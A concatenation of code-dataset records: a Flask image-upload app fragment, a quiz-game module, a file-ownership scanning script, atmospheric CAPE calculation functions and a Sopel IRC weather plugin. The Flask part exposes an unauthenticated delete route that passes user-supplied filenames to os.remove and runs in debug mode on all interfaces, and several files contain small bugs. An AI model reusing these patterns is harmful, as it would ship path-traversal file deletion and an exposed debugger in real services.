os.path.join(app.config['TMP_FOLDER'], filename)\n filename = filename.rsplit('.', 1)[0]+'.jpg'\n jpg_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)\n img_file.save(heic_path)\n print(heic_path)\n print(jpg_path)\n subprocess.call( [\"/usr/local/bin/tifig\",heic_path, jpg_path] )\n\n img_url = '/uploads/' + filename\n img_list = sorted(glob.glob(\"./static/images/upload/*\"))\n imgs = sorted(glob.glob(\"./static/images/upload/\"))\n #print(img_list)\n return redirect(url_for('gallery'))\n #return render_template('gallery.html', title='Gallery', galleryImages=img_list) \n else:\n return '''

アップロードした写真は許可されていない拡張子です。（許可されている拡張子:'png', 'jpg', 'gif'）
アップロードファイル:''' + img_file.filename +'''

'''\n else:\n return redirect(url_for('gallery'))\n\n@app.route('/delete/')\ndef delete_file(filename):\n os.remove(os.path.join(app.config['UPLOAD_FOLDER'], filename))\n return redirect(url_for('gallery'))\n\nif __name__ == \"__main__\":\n app.run(debug=True, host='0.0.0.0', port=80)","sub_path":"app/application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":3033,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"470511391","text":"# rooms\nfrom itertools import count\n\nclass Room(object):\n _total_rooms_count = count(1)\n _geometry_rooms_visited = count(1)\n _history_rooms_visited = count(1)\n\n def __init__(self, room_type):\n\n self.total_rooms_count = next(self._total_rooms_count)\n print(f\"Total rooms visited: {self.total_rooms_count}\")\n if room_type is 'Geometry':\n self.geometry_rooms_visited = next(self._geometry_rooms_visited)\n print(f\"Geometry rooms visited: {self.geometry_rooms_visited}\")\n elif room_type is 'History':\n self.history_rooms_visited = next(self._history_rooms_visited)\n print(f\"History rooms visited: {self.history_rooms_visited}\")\n else:\n print(\"Else\")\n\n\n# Geometry room\nclass Geometry(Room):\n\n def __init__(self, player):\n self.room_type = 'Geometry'\n Room.__init__(self, self.room_type)\n\n self.player = player\n\n def run(self):\n username, _, _, score = self.player.user_info()\n\n print(f\"Well, {username}, you score is {score}. Choose a number please:\",)\n\n while True:\n number = input('>> ')\n try:\n number = int(number)\n break\n except:\n print(\"So stupid, can't type a number?\")\n continue\n\n import math\n cirqle_area = math.pi * number * number\n print(cirqle_area)\n\n print(f\"What area cirqle have if radius is {number}?\")\n\n while True:\n answer = input('>> ')\n try:\n answer = float(answer)\n except:\n print(\"Try again!\")\n continue\n\n if answer == cirqle_area:\n print(\"Not bad. Scored! Go on select another room!\")\n self.player.add_score()\n break\n else:\n print(\"Wrong. Please try harder.\")\n\n# History room\nclass History(Room):\n\n def __init__(self, player):\n self.room_type = 'History'\n Room.__init__(self, self.room_type)\n\n self.player = player\n\n def run(self):\n username, _, _, score = self.player.user_info()\n print(f'Hello {username}, your score is {score}')\n Q1 = [1, \"A true personal name, chosen by a child's parents\"]\n A1 = [1, \"Praenomen\"]\n Q2 = [2, 'Designated a Roman citizen as a member of a gens, which may be translated as \"race\", \"family\", or \"clan\".']\n A2 = [2, \"Nomen\"]\n Q3 = [3, \"The third element of the tria nomina, began as an additional personal name.\"]\n A3 = [3, \"Cognomen\"]\n all_questions = [Q1, Q2, Q3]\n all_answers = [A1, A2, A3]\n\n\n print(f\"Well, {username}, please read Roman name definition: \")\n import random\n question = random.choice(all_questions)\n print(question[1])\n\n while True:\n print(\"What name is it?\")\n print(\"1\", all_answers[0][1])\n print(\"2\", all_answers[1][1])\n print(\"3\", all_answers[2][1])\n\n while True:\n keyboard = input('>> ')\n try:\n answer = int(keyboard)\n break\n except:\n print(\"So stupid, can't type a number?\")\n continue\n\n if answer == question[0]:\n print(\"Not bad. Scored! Go on select another room!\")\n self.player.add_score()\n break\n else:\n print(\"Wrong. Please try harder.\")\n continue\n","sub_path":"NEWGAME/g_rooms.py","file_name":"g_rooms.py","file_ext":"py","file_size_in_byte":3565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"152413727","text":"#/usr/bin/python3\n\nimport os\nimport pwd\n\nuidset = set()\nfor user in pwd.getpwall():\n uidset.add(user.pw_uid)\nprint(\"1 metod skiping\")\nfor folder, dirs, files in os.walk(\"/home/student\"):\n for file in files:\n path = folder + \"/\" + file\n\n if os.path.islink(path):\n print(path + \"is a symlink ... skiping\")\n continue\n\n attributes = os.stat(path)\n if attributes.st_uid not in uidset:\n print(path + \" has owner\")\n\nprint(\"2 metod except\")\n\nfor folder, dirs, files in os.walk(\"/home/student\"):\n for file in files:\n path = folder + \"/\" + file\n\n try:\n attributes = os.stat(path)\n except FileNotFoundError:\n print(path + \" not found\")\n continue\n if attributes.st_uid not in uidset:\n print(path + \" has owner\")\n \n","sub_path":"Python/osowner.py","file_name":"osowner.py","file_ext":"py","file_size_in_byte":857,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"279610953","text":"\"\"\"Summary\n\"\"\"\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom pySAM import config, config_sam_constants, utils\nfrom pySAM.cape import config_cape\nfrom scipy import interpolate, optimize\n\n\ndef saturation_pressure(liquid_or_ice: str, temperature_in_celsius: np.array) -> np.array:\n \"\"\"Summary\n\n Args:\n liquid_or_ice (str): mode if you want to calculate the saturation in liquid or ice\n temperature_in_celsius (np.array): the temperature field, could be 1d, 2d, 3D, 4d!\n\n Returns:\n np.array: the saturation pressure, same size as temperature_in_celsius\n \"\"\"\n if liquid_or_ice == \"liquid\":\n A, B, C, D = config_cape.AW, config_cape.BW, config_cape.CW, config_cape.DW\n else:\n A, B, C, D = config_cape.AI, config_cape.BI, config_cape.CI, config_cape.DI\n\n Ps = A * np.exp(\n (B - temperature_in_celsius / D)\n * (temperature_in_celsius / (C + temperature_in_celsius))\n )\n\n return Ps\n\n\ndef omega_n(\n temperature_in_kelvin: np.array,\n T_00n: float = config_sam_constants.T_00n,\n T_0n: float = config_sam_constants.T_0n,\n):\n \"\"\"Summary\n\n Args:\n temperature_in_kelvin (np.array): Description\n T_00n (float, optional): Description\n T_0n (float, optional): Description\n \"\"\"\n if np.isscalar(temperature_in_kelvin):\n\n centered_temperature = (temperature_in_kelvin - T_00n) / (T_0n - T_00n)\n\n return max(centered_temperature, 1)\n\n else:\n\n centered_temperature = (temperature_in_kelvin - T_00n) / (T_0n - T_00n)\n matrix_of_ones = np.ones_like(centered_temperature)\n matrix_of_zeros = np.zeros_like(centered_temperature)\n\n output1 = utils.min_point_wise(matrix_1=matrix_of_ones, matrix_2=centered_temperature)\n\n output2 = utils.max_point_wise(matrix_1=matrix_of_zeros, matrix_2=output1)\n\n return output2\n\n\ndef saturation_mixing_ratio(temperature_in_kelvin: np.array, pressure: np.array):\n \"\"\"Summary\n\n Args:\n temperature_in_kelvin (np.array): Description\n pressure (np.array): Description\n\n Returns:\n TYPE: Description\n \"\"\"\n temperature_in_celsius = temperature_in_kelvin + config.ABSOLUTE_ZERO\n\n e_saturation_water = saturation_pressure(\n liquid_or_ice=\"liquid\", temperature_in_celsius=temperature_in_celsius\n )\n e_saturation_ice = saturation_pressure(\n liquid_or_ice=\"ice\", temperature_in_celsius=temperature_in_celsius\n )\n\n if not np.isscalar(pressure) and not pressure.shape == ():\n\n if len(temperature_in_kelvin.shape) == 3:\n pressure_3D = utils.expand_array_to_zyx_array(\n input_array=pressure,\n final_shape=e_saturation_ice.shape,\n )\n\n max_pressure_esatw = utils.max_point_wise(\n matrix_1=e_saturation_water, matrix_2=pressure_3D\n )\n max_pressure_esati = utils.max_point_wise(\n matrix_1=e_saturation_ice, matrix_2=pressure_3D\n )\n\n q_saturation_water = (\n config_cape.MIXING_RATIO_AIR_WATER_VAPOR\n * e_saturation_water\n / max_pressure_esatw\n )\n\n q_saturation_ice = (\n config_cape.MIXING_RATIO_AIR_WATER_VAPOR * e_saturation_ice / max_pressure_esati\n )\n\n if len(temperature_in_kelvin.shape) == 2:\n\n max_pressure_esatw = utils.max_point_wise(\n matrix_1=e_saturation_water, matrix_2=pressure\n )\n max_pressure_esati = utils.max_point_wise(\n matrix_1=e_saturation_ice, matrix_2=pressure\n )\n\n q_saturation_water = (\n config_cape.MIXING_RATIO_AIR_WATER_VAPOR\n * e_saturation_water\n / max_pressure_esatw\n )\n\n q_saturation_ice = (\n config_cape.MIXING_RATIO_AIR_WATER_VAPOR * e_saturation_ice / max_pressure_esati\n )\n\n elif len(temperature_in_kelvin.shape) == 1:\n\n max_pressure_esatw = utils.max_point_wise(\n matrix_1=e_saturation_water, matrix_2=pressure\n )\n max_pressure_esati = utils.max_point_wise(\n matrix_1=e_saturation_ice, matrix_2=pressure\n )\n\n q_saturation_water = (\n config_cape.MIXING_RATIO_AIR_WATER_VAPOR\n * e_saturation_water\n / max_pressure_esatw\n )\n\n q_saturation_ice = (\n config_cape.MIXING_RATIO_AIR_WATER_VAPOR * e_saturation_ice / max_pressure_esati\n )\n elif np.isscalar(pressure) or pressure.shape == ():\n if len(temperature_in_kelvin.shape) == 2:\n pressure_2D = pressure * np.ones_like(temperature_in_kelvin)\n\n max_pressure_esatw = utils.max_point_wise(\n matrix_1=e_saturation_water, matrix_2=pressure_2D\n )\n max_pressure_esati = utils.max_point_wise(\n matrix_1=e_saturation_ice, matrix_2=pressure_2D\n )\n\n q_saturation_water = (\n config_cape.MIXING_RATIO_AIR_WATER_VAPOR\n * e_saturation_water\n / max_pressure_esatw\n )\n\n q_saturation_ice = (\n config_cape.MIXING_RATIO_AIR_WATER_VAPOR * e_saturation_ice / max_pressure_esati\n )\n\n else:\n\n max_pressure_esatw = max(pressure, e_saturation_water)\n max_pressure_esati = max(pressure, e_saturation_ice)\n\n q_saturation_water = (\n config_cape.MIXING_RATIO_AIR_WATER_VAPOR\n * e_saturation_water\n / max_pressure_esatw\n )\n\n q_saturation_ice = (\n config_cape.MIXING_RATIO_AIR_WATER_VAPOR * e_saturation_ice / max_pressure_esati\n )\n\n omega = omega_n(temperature_in_kelvin=temperature_in_kelvin)\n\n saturation_mixing_ratio = omega * q_saturation_water + (1 - omega) * q_saturation_ice\n\n return saturation_mixing_ratio\n\n\ndef get_altitude_LCL_column(\n pressure: np.array,\n vertical_array: np.array,\n temperature_ground: float,\n humidity_ground: float,\n initial_z_guess: float = config.INITIAL_Z,\n heat_capacity_air: float = config.HEAT_CAPACITY_AIR,\n gravity: float = config.GRAVITY,\n):\n \"\"\"Summary\n\n Args:\n pressure (np.array): Description\n vertical_array (np.array): Description\n temperature_ground (float): Description\n humidity_ground (float): Description\n initial_z_guess (float, optional): Description\n heat_capacity_air (float, optional): Description\n gravity (float, optional): Description\n \"\"\"\n\n t_linear_interpolate = interpolate.interp1d(\n vertical_array,\n temperature_ground\n + gravity / heat_capacity_air * (config.LOWEST_ATMOSPHERIC_LEVEL - vertical_array),\n )\n pressure_interpolate = interpolate.interp1d(vertical_array, pressure)\n\n def rsat_minus_rground(Z: float):\n \"\"\"Summary\n\n Args:\n Z (float): Description\n\n Returns:\n TYPE: Description\n \"\"\"\n\n return (\n saturation_mixing_ratio(\n temperature_in_kelvin=t_linear_interpolate(Z), pressure=pressure_interpolate(Z)\n )\n - humidity_ground\n )\n\n altitude_of_LCL = optimize.newton(\n rsat_minus_rground, initial_z_guess\n ) # find root of the function, i.e. find z such rsat(z)=r_ground\n\n return altitude_of_LCL\n\n\ndef get_altitude_LCL(\n pressure: np.array,\n vertical_array: np.array,\n temperature_ground_2d: np.array,\n humidity_ground_2d: np.array,\n initial_z_guess: np.array = config.INITIAL_Z_2D,\n heat_capacity_air: float = config.HEAT_CAPACITY_AIR,\n gravity: float = config.GRAVITY,\n lowest_atmospheric_level: float = config.LOWEST_ATMOSPHERIC_LEVEL,\n):\n \"\"\"Summary\n\n Args:\n pressure (np.array): Description\n vertical_array (np.array): Description\n temperature_ground_2d (np.array): Description\n humidity_ground_2d (np.array): Description\n initial_z_guess (np.array, optional): Description\n heat_capacity_air (float, optional): Description\n gravity (float, optional): Description\n lowest_atmospheric_level (float, optional): Description\n\n Deleted Parameters:\n temperature_ground (float): Description\n humidity_ground (float): Description\n \"\"\"\n\n z_3D = utils.expand_array_to_zyx_array(\n vertical_array,\n final_shape=(\n vertical_array.shape[0],\n temperature_ground_2d.shape[0],\n temperature_ground_2d.shape[1],\n ),\n )\n delta_z_3d = lowest_atmospheric_level - z_3D\n\n t_linear_3d = temperature_ground_2d + config.GRAVITY / config.HEAT_CAPACITY_AIR * delta_z_3d\n t_linear_3d = t_linear_3d.reshape(\n t_linear_3d.shape[0], t_linear_3d.shape[1] * t_linear_3d.shape[2]\n )\n t_linear_3d_inter = interpolate.interp1d(vertical_array, t_linear_3d, axis=0)\n\n pressure_3d = utils.expand_array_to_zyx_array(\n pressure,\n final_shape=(\n vertical_array.shape[0],\n temperature_ground_2d.shape[0],\n temperature_ground_2d.shape[1],\n ),\n )\n pressure_3d = pressure_3d.reshape(\n pressure_3d.shape[0], pressure_3d.shape[1] * pressure_3d.shape[2]\n )\n pressure_interpolate = interpolate.interp1d(vertical_array, pressure_3d, axis=0)\n\n r0_minus_rsat_0 = humidity_ground_2d - saturation_mixing_ratio(\n temperature_in_kelvin=temperature_ground_2d,\n pressure=pressure[0] * np.ones_like(temperature_ground_2d),\n )\n\n indexes_condensation_from_bottom = np.where(np.abs(r0_minus_rsat_0) < 0.001)\n\n def rsat_minus_rground(Z: np.array):\n\n \"\"\"Summary\n\n Args:\n Z (np.array): Description\n\n Returns:\n TYPE: Description\n \"\"\"\n\n Z_flat = Z.reshape((Z.shape[0] * Z.shape[1]))\n\n t_2D = np.array(\n [t_linear_3d_inter(Z_flat[i])[i] for i in range(Z.shape[0] * Z.shape[1])]\n )\n p_2D = np.array(\n [pressure_interpolate(Z_flat[i])[i] for i in range(Z.shape[0] * Z.shape[1])]\n )\n\n t_2D = t_2D.reshape(Z.shape[0], Z.shape[1])\n p_2D = p_2D.reshape(Z.shape[0], Z.shape[1])\n\n Id = np.ones_like(Z)\n Id[indexes_condensation_from_bottom] = (\n Z[indexes_condensation_from_bottom]\n - lowest_atmospheric_level * np.ones_like(Z)[indexes_condensation_from_bottom]\n )\n\n return (\n saturation_mixing_ratio(temperature_in_kelvin=t_2D, pressure=p_2D)\n - humidity_ground_2d * Id\n )\n\n altitude_of_LCL = optimize.newton(\n rsat_minus_rground, initial_z_guess\n ) # find root of the function, i.e. find z such rsat(z)=r_ground\n\n return altitude_of_LCL\n\n\ndef get_variable_3D_at_lcl(variable: np.array, map_z_lcl: np.array, vertical_array: np.array):\n \"\"\"Summary\n\n Args:\n variable (np.array): Description\n map_z_lcl (np.array): Description\n vertical_array (np.array): Description\n\n Returns:\n TYPE: Description\n \"\"\"\n variable = variable.reshape(variable.shape[0], variable.shape[1] * variable.shape[2])\n variable_interpolate = interpolate.interp1d(vertical_array, variable, axis=0)\n\n map_z_lcl_flat = map_z_lcl.reshape(map_z_lcl.shape[0] * map_z_lcl.shape[1])\n\n output_2D = np.array(\n [\n variable_interpolate(map_z_lcl_flat[i])[i]\n for i in range(map_z_lcl.shape[0] * map_z_lcl.shape[1])\n ]\n )\n output_2D = output_2D.reshape(map_z_lcl.shape[0], map_z_lcl.shape[1])\n\n return output_2D\n\n\ndef dry_moist_static_energy_2D(\n temperature_2D: np.array,\n altitudes_2D: np.array,\n pressure_2D: np.array,\n gravity: float = config.GRAVITY,\n cp: float = config.HEAT_CAPACITY_AIR,\n L_cond: float = config.L_c,\n L_sub: float = config.L_s,\n):\n \"\"\"Summary\n\n Args:\n temperature_2D (np.array): Description\n altitudes_2D (np.array): Description\n pressure_2D (np.array): Description\n gravity (float, optional): Description\n cp (float, optional): Description\n L_cond (float, optional): Description\n L_sub (float, optional): Description\n \"\"\"\n r_sat = saturation_mixing_ratio(temperature_2D, pressure_2D)\n w_n = omega_n(temperature_2D)\n\n return temperature_2D + gravity / cp * altitudes_2D\n\n\ndef moist_static_energy(\n temperature: np.array,\n humidity_ground: float,\n altitudes: np.array,\n pressure: np.array,\n gravity: float = config.GRAVITY,\n cp: float = config.HEAT_CAPACITY_AIR,\n L_cond: float = config.L_c,\n L_sub: float = config.L_s,\n):\n \"\"\"Summary\n\n Args:\n temperature (np.array): Description\n humidity_ground (float): Description\n altitudes (np.array): Description\n pressure (np.array): Description\n gravity (float, optional): Description\n cp (float, optional): Description\n L_cond (float, optional): Description\n L_sub (float, optional): Description\n \"\"\"\n r_sat = saturation_mixing_ratio(temperature, pressure)\n w_n = omega_n(temperature)\n z_3D = utils.expand_array_to_zyx_array(input_array=altitudes, final_shape=temperature.shape)\n\n return (\n temperature\n + gravity / cp * z_3D\n - (\n utils.max_point_wise(\n matrix_1=np.zeros_like(r_sat),\n matrix_2=humidity_ground * np.ones_like(r_sat) - r_sat,\n )\n )\n / cp\n * (L_cond * w_n + L_sub * (1 - w_n))\n )\n\n\ndef get_temperature_profile_parcel(\n temperature: np.array,\n humidity_ground: float,\n altitudes: np.array,\n pressure: np.array,\n moist_static_energy_to_conserve: np.array,\n initial_T_guess: np.array,\n gravity: float = config.GRAVITY,\n cp: float = config.HEAT_CAPACITY_AIR,\n L_cond: float = config.L_c,\n L_sub: float = config.L_s,\n):\n \"\"\"Summary\n\n Args:\n temperature (np.array): Description\n humidity_ground (float): Description\n altitudes (np.array): Description\n pressure (np.array): Description\n moist_static_energy_to_conserve (np.array): Description\n initial_T_guess (np.array): Description\n gravity (float, optional): Description\n cp (float, optional): Description\n L_cond (float, optional): Description\n L_sub (float, optional): Description\n \"\"\"\n\n def diff_MSE(\n temperature: np.array,\n humidity_ground: float,\n altitudes: np.array,\n pressure: np.array,\n moist_static_energy_to_conserve: np.array,\n ):\n \"\"\"Summary\n\n Args:\n temperature (np.array): Description\n humidity_ground (float): Description\n altitudes (np.array): Description\n pressure (np.array): Description\n moist_static_energy_to_conserve (np.array): Description\n \"\"\"\n return moist_static_energy_to_conserve - moist_static_energy(\n temperature=temperature,\n humidity_ground=humidity_ground,\n altitudes=altitudes,\n pressure=pressure,\n )\n\n temperature_profile_parcel = optimize.newton(\n func=diff_MSE,\n x0=initial_T_guess,\n args=(\n humidity_ground,\n altitudes,\n pressure,\n moist_static_energy_to_conserve,\n ),\n )\n\n return temperature_profile_parcel\n\n\ndef get_parcel_ascent(\n temperature: np.array,\n humidity_ground: np.array,\n pressure: np.array,\n vertical_array: np.array,\n):\n\n temperature_ground = temperature[0, :, :]\n temperature_mean_3d = utils.expand_array_to_zyx_array(\n np.mean(temperature, axis=(1, 2)), final_shape=temperature.shape\n )\n\n lcl_altitudes = get_altitude_LCL(\n pressure=pressure,\n vertical_array=vertical_array,\n temperature_ground_2d=temperature_ground,\n humidity_ground_2d=humidity_ground,\n )\n\n lcl_temperatures = get_variable_3D_at_lcl(\n variable=temperature, map_z_lcl=lcl_altitudes, vertical_array=vertical_array\n )\n\n pressure_3d = utils.expand_array_to_zyx_array(pressure, final_shape=temperature.shape)\n lcl_pressures = get_variable_3D_at_lcl(\n variable=pressure_3d, map_z_lcl=lcl_altitudes, vertical_array=vertical_array\n )\n\n lcl_mse = dry_moist_static_energy_2D(\n temperature_2D=lcl_temperatures, altitudes_2D=lcl_altitudes, pressure_2D=lcl_pressures\n )\n\n temperature_parcel_field = get_temperature_profile_parcel(\n temperature=temperature,\n humidity_ground=humidity_ground,\n altitudes=vertical_array,\n pressure=pressure,\n moist_static_energy_to_conserve=lcl_mse,\n initial_T_guess=temperature_mean_3d,\n )\n\n return temperature_parcel_field\n","sub_path":"pySAM/pySAM/cape/cape_functions.py","file_name":"cape_functions.py","file_ext":"py","file_size_in_byte":16931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"213536032","text":"# coding=utf-8\n# Copyright 2008, Sean B. Palmer, inamidst.com\n# Copyright 2012, Elsie Powell, embolalia.com\n# Copyright 2018, Rusty Bower, rustybower.com\n# Copyright 2020, Nick Stephens, manipulate.org\n# Licensed under the Eiffel Forum License 2.\nfrom __future__ import unicode_literals, absolute_import, print_function, division\n\nimport requests\nimport re\n\nfrom datetime import datetime\n\nfrom sopel.config.types import NO_DEFAULT, ChoiceAttribute, StaticSection, ValidatedAttribute\nfrom sopel.module import commands, example, NOLIMIT\nfrom sopel.modules.units import c_to_f\n\nfrom .providers.weather.openweathermap import openweathermap_forecast, openweathermap_weather\nfrom .providers.weather.airnow import airnow_aqi\n\nWEATHER_PROVIDERS = [\n 'openweathermap',\n]\n\n\n# Define our sopel weather configuration\nclass WeatherSection(StaticSection):\n geocoords_provider = ValidatedAttribute('geocoords_provider', str, default='locationiq')\n geocoords_api_key = ValidatedAttribute('geocoords_api_key', str, default='')\n weather_provider = ChoiceAttribute('weather_provider', WEATHER_PROVIDERS, default=NO_DEFAULT)\n weather_api_key = ValidatedAttribute('weather_api_key', str, default='')\n weather_units = ValidatedAttribute('weather_units', str, default='')\n airnow_api_key = ValidatedAttribute('airnow_api_key', str, default='')\n sunrise_sunset = ValidatedAttribute('sunrise_sunset', str, default=False)\n\n\ndef setup(bot):\n bot.config.define_section('weather', WeatherSection)\n\n\n# Walk the user through defining variables required\ndef configure(config):\n config.define_section('weather', WeatherSection, validate=False)\n config.weather.configure_setting(\n 'geocoords_provider',\n 'Enter GeoCoords API Provider:',\n default=NO_DEFAULT\n )\n config.weather.configure_setting(\n 'geocoords_api_key',\n 'Enter GeoCoords API Key:',\n default=NO_DEFAULT\n )\n config.weather.configure_setting(\n 'weather_provider',\n 'Enter Weather API Provider: ({}):'.format(', '.join(WEATHER_PROVIDERS)),\n default=NO_DEFAULT\n )\n config.weather.configure_setting(\n 'weather_api_key',\n 'Enter Weather API Key:',\n default=NO_DEFAULT\n )\n config.weather.configure_setting(\n 'weather_units',\n 'Enter Weather Units (metric, imperial, both):',\n default=NO_DEFAULT\n )\n config.weather.configure_setting(\n 'airnow_api_key',\n 'Enter AirNow.gov API Key:',\n default=NO_DEFAULT\n )\n config.weather.configure_setting(\n 'sunrise_sunset',\n 'Enable sunrise/sunset:',\n default=False\n )\n\n\ndef get_temp(weather_units, temp):\n try:\n temp = float(temp)\n except (KeyError, TypeError, ValueError):\n return 'unknown'\n \n # check user preferences, default to both if unset\n if weather_units == \"both\" or weather_units is None:\n return u'%d\\u00B0C (%d\\u00B0F)' % (round(temp), round(c_to_f(temp)))\n elif weather_units == \"metric\":\n return u'%d\\u00B0C' % (round(temp))\n elif weather_units == \"imperial\":\n return u'%d\\u00B0F' % (round(c_to_f(temp)))\n\ndef get_humidity(humidity):\n try:\n humidity = int(humidity * 100)\n except (KeyError, TypeError, ValueError):\n return 'unknown'\n return \"Humidity: %s%%\" % humidity\n\n\ndef get_wind(weather_units, speed, bearing):\n m_s = float(round(speed, 1))\n mph = round(m_s * 2.237)\n speed = int(round(m_s * 1.94384, 0))\n bearing = int(bearing)\n\n if speed < 1:\n description = 'Calm'\n elif speed < 4:\n description = 'Light air'\n elif speed < 7:\n description = 'Light breeze'\n elif speed < 11:\n description = 'Gentle breeze'\n elif speed < 16:\n description = 'Moderate breeze'\n elif speed < 22:\n description = 'Fresh breeze'\n elif speed < 28:\n description = 'Strong breeze'\n elif speed < 34:\n description = 'Near gale'\n elif speed < 41:\n description = 'Gale'\n elif speed < 48:\n description = 'Strong gale'\n elif speed < 56:\n description = 'Storm'\n elif speed < 64:\n description = 'Violent storm'\n else:\n description = 'Hurricane'\n\n if (bearing <= 22.5) or (bearing > 337.5):\n bearing = u'\\u2193'\n elif (bearing > 22.5) and (bearing <= 67.5):\n bearing = u'\\u2199'\n elif (bearing > 67.5) and (bearing <= 112.5):\n bearing = u'\\u2190'\n elif (bearing > 112.5) and (bearing <= 157.5):\n bearing = u'\\u2196'\n elif (bearing > 157.5) and (bearing <= 202.5):\n bearing = u'\\u2191'\n elif (bearing > 202.5) and (bearing <= 247.5):\n bearing = u'\\u2197'\n elif (bearing > 247.5) and (bearing <= 292.5):\n bearing = u'\\u2192'\n elif (bearing > 292.5) and (bearing <= 337.5):\n bearing = u'\\u2198'\n\n # check user preferences, default to both if unset\n if weather_units == \"both\" or weather_units is None:\n formSpeed = \"{} m/s ({} mph)\".format(str(m_s), str(mph))\n elif weather_units == \"metric\":\n formSpeed = \"{} m/s)\".format(str(m_s))\n elif weather_units == \"imperial\":\n formSpeed = \"{} mph\".format(str(mph))\n\n return description + ' ' + formSpeed + ' (' + bearing + ')'\n\n\ndef get_geocoords(bot, trigger):\n url = \"https://us1.locationiq.com/v1/search.php\" # This can be updated to their EU endpoint for EU users\n data = {\n 'key': bot.config.weather.geocoords_api_key,\n 'q': trigger.group(2),\n 'format': 'json',\n 'addressdetails': 1,\n 'limit': 1\n }\n r = requests.get(url, params=data)\n if r.status_code != 200:\n raise Exception(r.json()['error'])\n latitude = r.json()[0]['lat']\n longitude = r.json()[0]['lon']\n address = r.json()[0]['address']\n\n # Zip codes give us town versus city\n if 'city' in address.keys():\n location = '{}, {}, {}'.format(address['city'],\n address['state'],\n address['country_code'].upper())\n elif 'town' in address.keys():\n location = '{}, {}, {}'.format(address['town'],\n address['state'],\n address['country_code'].upper())\n elif 'county' in address.keys():\n location = '{}, {}, {}'.format(address['county'],\n address['state'],\n address['country_code'].upper())\n elif 'city_district' in address.keys():\n location = '{}, {}'.format(address['city_district'],\n address['country_code'].upper())\n else:\n location = 'Unknown'\n\n return latitude, longitude, location\n\n\n# 24h Forecast: Oshkosh, US: Broken Clouds, High: 0°C (32°F), Low: -7°C (19°F)\ndef get_forecast(bot, trigger):\n location = trigger.group(2)\n if not location:\n latitude = bot.db.get_nick_value(trigger.nick, 'latitude')\n longitude = bot.db.get_nick_value(trigger.nick, 'longitude')\n location = bot.db.get_nick_value(trigger.nick, 'location')\n else:\n latitude, longitude, location = get_geocoords(bot, trigger)\n\n # OpenWeatherMap\n if bot.config.weather.weather_provider == 'openweathermap':\n return openweathermap_forecast(bot, latitude, longitude, location)\n # Unsupported Provider\n else:\n raise Exception('Error: Unsupported Provider')\n\n\ndef get_weather(bot, trigger):\n location = trigger.group(2)\n if not location:\n latitude = bot.db.get_nick_value(trigger.nick, 'latitude')\n longitude = bot.db.get_nick_value(trigger.nick, 'longitude')\n location = bot.db.get_nick_value(trigger.nick, 'location')\n else:\n latitude, longitude, location = get_geocoords(bot, trigger)\n\n # OpenWeatherMap\n if bot.config.weather.weather_provider == 'openweathermap':\n return openweathermap_weather(bot, latitude, longitude, location)\n # Unsupported Provider\n else:\n raise Exception('Error: Unsupported Provider')\n\n\n@commands('weatherset', 'wset')\ndef weather_set(bot, trigger):\n if trigger.is_privmsg is False:\n return(bot.say(\"These commands must be sent in privmsg to avoid channel spam\"))\n \n try:\n req = trigger.group(2).split(' ')\n wsetting = req[0]\n wvalue = req[1]\n except:\n helpmsg = [\n \"You can customize what weather info is displayed by msging me with the following .weatherset arguments:\",\n \"'.weatherset units [metric|imperial|both]'\",\n \"'.weatherset [condition|humidity|sunrise|wind|aqi] [true|false]\"\n ]\n for msg in helpmsg:\n bot.say(msg)\n return\n\n if re.search(\"units\", wsetting):\n if wvalue == \"imperial\" or wvalue == \"metric\" or wvalue == \"both\":\n bot.db.set_nick_value(trigger.nick, 'weather-units', wvalue)\n return(bot.say(\"Preference set {wsetting}: {wvalue}\".format(wsetting=wsetting, wvalue=wvalue)))\n else:\n return bot.say(\"sorry, {wvalue} isn't a valid option for {wsetting}. Please use {opt1}, {opt2}, or {opt3}.\".format(\n wvalue=wvalue,\n wsetting=wsetting,\n opt1='metric',\n opt2='imperial',\n op3='both'\n ))\n \n if re.search(\"condition\", wsetting):\n if wvalue == \"true\" or wvalue == \"false\":\n bot.db.set_nick_value(trigger.nick, 'weather-show-condition', wvalue)\n return(bot.say(\"Preference set {wsetting}: {wvalue}\".format(wsetting=wsetting, wvalue=wvalue)))\n else:\n return bot.say(\"sorry, {wvalue} isn't a valid option for {wsetting}. Please use {opt1}, {opt2}.\".format(\n wvalue=wvalue,\n wsetting=wsetting,\n opt1='true',\n opt2='false',\n ))\n \n if re.search(\"humidity\", wsetting):\n if wvalue == \"true\" or wvalue == \"false\":\n bot.db.set_nick_value(trigger.nick, 'weather-show-humidity', wvalue)\n return(bot.say(\"Preference set {wsetting}: {wvalue}\".format(wsetting=wsetting, wvalue=wvalue)))\n else:\n return bot.say(\"sorry, {wvalue} isn't a valid option for {wsetting}. Please use {opt1}, {opt2}.\".format(\n wvalue=wvalue,\n wsetting=wsetting,\n opt1='true',\n opt2='false',\n ))\n\n if re.search(\"sunrise\", wsetting):\n if wvalue == \"true\" or wvalue == \"false\":\n bot.db.set_nick_value(trigger.nick, 'weather-show-sunriseset', wvalue)\n return(bot.say(\"Preference set {wsetting}: {wvalue}\".format(wsetting=wsetting, wvalue=wvalue)))\n else:\n return bot.say(\"sorry, {wvalue} isn't a valid option for {wsetting}. Please use {opt1}, {opt2}.\".format(\n wvalue=wvalue,\n wsetting=wsetting,\n opt1='true',\n opt2='false',\n ))\n \n if re.search(\"wind\", wsetting):\n if wvalue == \"true\" or wvalue == \"false\":\n bot.db.set_nick_value(trigger.nick, 'weather-show-wind', wvalue)\n return(bot.say(\"Preference set {wsetting}: {wvalue}\".format(wsetting=wsetting, wvalue=wvalue)))\n else:\n return bot.say(\"sorry, {wvalue} isn't a valid option for {wsetting}. Please use {opt1}, {opt2}.\".format(\n wvalue=wvalue,\n wsetting=wsetting,\n opt1='true',\n opt2='false',\n ))\n \n if re.search(\"aqi\", wsetting):\n if wvalue == \"true\" or wvalue == \"false\":\n bot.db.set_nick_value(trigger.nick, 'weather-show-aqi', wvalue)\n return(bot.say(\"Preference set {wsetting}: {wvalue}\".format(wsetting=wsetting, wvalue=wvalue)))\n else:\n return bot.say(\"sorry, {wvalue} isn't a valid option for 